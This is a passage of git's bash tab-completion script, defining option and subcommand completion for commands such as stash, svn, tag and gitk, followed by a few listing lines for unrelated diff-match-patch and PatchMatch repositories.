--mixed --hard --soft --patch" return ;; esac __gitcomp "$(__git_refs)" } _git_revert () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --mainline --no-edit --no-commit --signoff" return ;; esac __gitcomp "$(__git_refs)" } _git_rm () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --dry-run --ignore-unmatch --quiet" return ;; esac COMPREPLY=() } _git_shortlog () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options --numbered --summary " return ;; esac __git_complete_revlist } _git_show () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --*) __gitcomp "--pretty= --format= --abbrev-commit --oneline $__git_diff_common_options " return ;; esac __git_complete_file } _git_show_branch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --remotes --topo-order --current --more= --list --independent --merge-base --no-name --color --no-color --sha1-name --sparse --topics --reflog " return ;; esac __git_complete_revlist } _git_stash () { local cur="${COMP_WORDS[COMP_CWORD]}" local save_opts='--keep-index --no-keep-index --quiet --patch' local subcommands='save list show apply clear drop pop create branch' local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then case "$cur" in --*) __gitcomp "$save_opts" ;; *) if [ -z "$(__git_find_on_cmdline "$save_opts")" ]; then __gitcomp "$subcommands" else COMPREPLY=() fi ;; esac else case "$subcommand,$cur" in save,--*) __gitcomp "$save_opts" ;; apply,--*|pop,--*) __gitcomp "--index --quiet" ;; show,--*|drop,--*|branch,--*) COMPREPLY=() ;; show,*|apply,*|drop,*|pop,*|branch,*) __gitcomp "$(git --git-dir="$(__gitdir)" stash list \ | sed -n -e 's/:.*//p')" ;; *) COMPREPLY=() ;; esac fi } _git_submodule () { __git_has_doubledash && return local subcommands="add status init update summary foreach sync" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--quiet --cached" ;; *) __gitcomp "$subcommands" ;; esac return fi } _git_svn () { local subcommands=" init fetch clone rebase dcommit log find-rev set-tree commit-diff info create-ignore propget proplist show-ignore show-externals branch tag blame migrate mkdirs reset gc " local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" else local remote_opts="--username= --config-dir= --no-auth-cache" local fc_opts=" --follow-parent --authors-file= --repack= --no-metadata --use-svm-props --use-svnsync-props --log-window-size= --no-checkout --quiet --repack-flags --use-log-author --localtime --ignore-paths= $remote_opts " local init_opts=" --template= --shared= --trunk= --tags= --branches= --stdlayout --minimize-url --no-metadata --use-svm-props --use-svnsync-props --rewrite-root= --prefix= --use-log-author --add-author-from $remote_opts " local cmt_opts=" --edit --rmdir --find-copies-harder --copy-similarity= " local cur="${COMP_WORDS[COMP_CWORD]}" case "$subcommand,$cur" in fetch,--*) __gitcomp "--revision= --fetch-all $fc_opts" ;; clone,--*) __gitcomp "--revision= $fc_opts $init_opts" ;; init,--*) __gitcomp "$init_opts" ;; dcommit,--*) __gitcomp " --merge --strategy= --verbose --dry-run --fetch-all --no-rebase --commit-url --revision $cmt_opts $fc_opts " ;; set-tree,--*) __gitcomp "--stdin $cmt_opts $fc_opts" ;; create-ignore,--*|propget,--*|proplist,--*|show-ignore,--*|\ show-externals,--*|mkdirs,--*) __gitcomp "--revision=" ;; log,--*) __gitcomp " --limit= --revision= --verbose --incremental --oneline --show-commit --non-recursive --authors-file= --color " ;; rebase,--*) __gitcomp " --merge --verbose --strategy= --local --fetch-all --dry-run $fc_opts " ;; commit-diff,--*) __gitcomp "--message= --file= --revision= $cmt_opts" ;; info,--*) __gitcomp "--url" ;; branch,--*) __gitcomp "--dry-run --message --tag" ;; tag,--*) __gitcomp "--dry-run --message" ;; blame,--*) __gitcomp "--git-format" ;; migrate,--*) __gitcomp " --config-dir= --ignore-paths= --minimize --no-auth-cache --username= " ;; reset,--*) __gitcomp "--revision= --parent" ;; *) COMPREPLY=() ;; esac fi } _git_tag () { local i c=1 f=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-v) __gitcomp "$(__git_tags)" return ;; -f) f=1 ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; -*|tag) if [ $f = 1 ]; then __gitcomp "$(__git_tags)" else COMPREPLY=() fi ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_whatchanged () { _git_log } _git () { local i c=1 command __git_dir while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --git-dir=*) __git_dir="${i#--git-dir=}" ;; --bare) __git_dir="." ;; --version|-p|--paginate) ;; --help) command="help"; break ;; *) command="$i"; break ;; esac c=$((++c)) done if [ -z "$command" ]; then case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --paginate --no-pager --git-dir= --bare --version --exec-path --html-path --work-tree= --help " ;; *) __git_compute_porcelain_commands __gitcomp "$__git_porcelain_commands $(__git_aliases)" ;; esac return fi local completion_func="_git_${command//-/_}" declare -F $completion_func >/dev/null && $completion_func && return local expansion=$(__git_aliased_command "$command") if [ -n "$expansion" ]; then completion_func="_git_${expansion//-/_}" declare -F $completion_func >/dev/null && $completion_func fi } _gitk () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(__gitdir)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_gitk_options $merge " return ;; esac __git_complete_revlist } complete -o bashdefault -o default -o nospace -F _git git 2>/dev/null \ || complete -o default -o nospace -F _git git complete -o bashdefault -o default -o nospace -F _gitk gitk 2>/dev/null \ || complete -o default -o nospace -F _gitk gitk # The following are necessary only for Cygwin, and only are needed # when the user has tab-completed the executable name and consequently # included the '.exe' suffix. # if [ Cygwin = "$(uname -o 2>/dev/null)" ]; then complete -o bashdefault -o default -o nospace -F _git git.exe 2>/dev/null \ || complete -o default -o nospace -F _git git.exe fi
DevD1092 / Spr Wcase SeqRepository containing the simulation and testing codes of the star identification algorithm based on worst case patch mismatch and running sequential angular match technique.
node.js and diff patch match based multi user text editor (proof of concept)
BlythMeister / Google Diff Match PatchEvolution of the C# port of the google diff-match-patch implementation
aio-libs / Idna SslPatch ssl.match_hostname for Unicode(idna) domains support
PasiSalenius / DiffMatchPatchSwift package of Diff Match and Patch library
maktu6 / PyPatchMatcha Cython wrapper of inpainting technique based on PatchMatch